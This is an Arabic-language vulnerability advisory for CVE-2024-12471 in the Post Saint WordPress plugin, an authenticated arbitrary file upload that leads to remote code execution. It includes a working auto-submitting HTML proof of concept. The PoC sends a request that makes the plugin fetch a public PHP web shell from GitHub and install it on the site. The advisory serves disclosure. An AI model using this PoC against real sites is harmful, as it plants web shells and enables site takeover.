CVE-2024-12471

Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - نقص التفويض يسمح للمستخدمين المصادق عليهم (مشترك+) برفع ملفات تعسفية

الوصف

إن إضافة Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator الخاصة بووردبريس معرّضة لثغرة رفع ملفات تعسفية بسبب غياب فحص الصلاحيات والتحقق من نوع الملف في دالة إجراء AJAX باسم add_image_to_library في جميع الإصدارات حتى 1.3.1 وما يشملها. وهذا يجعل من الممكن للمهاجمين المصادق عليهم، ممن يملكون صلاحيات بمستوى المشترك فما فوق، رفع ملفات تعسفية تجعل تنفيذ الأكواد عن بُعد ممكنًا.

التفاصيل

النوع: إضافة
المعرّف: post-saint
الإصدار المتأثر: 1.3.1
درجة CVSS: 8.8
تقييم CVSS: عالية
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-12471
الحالة: مغلقة

POC

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="add&#95;image&#95;to&#95;library" />
      <input type="hidden" name="image&#95;url" value="https&#58;&#47;&#47;raw&#46;githubusercontent&#46;com&#47;flozz&#47;p0wny&#45;shell&#47;refs&#47;heads&#47;master&#47;shell&#46;php" />
      <input type="hidden" name="image&#95;prompt" value="say&#32;hello" />
      <input type="hidden" name="insert&#95;prompt&#95;media&#95;library&#95;fields" value="caption&#95;description" />
      <input type="hidden" name="image&#95;generator" value="pexels" />
      <input type="hidden" name="log&#95;id" value="1667" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-12471

الأكثر شعبية

CVE-2024-12471

الوصف

التفاصيل

POC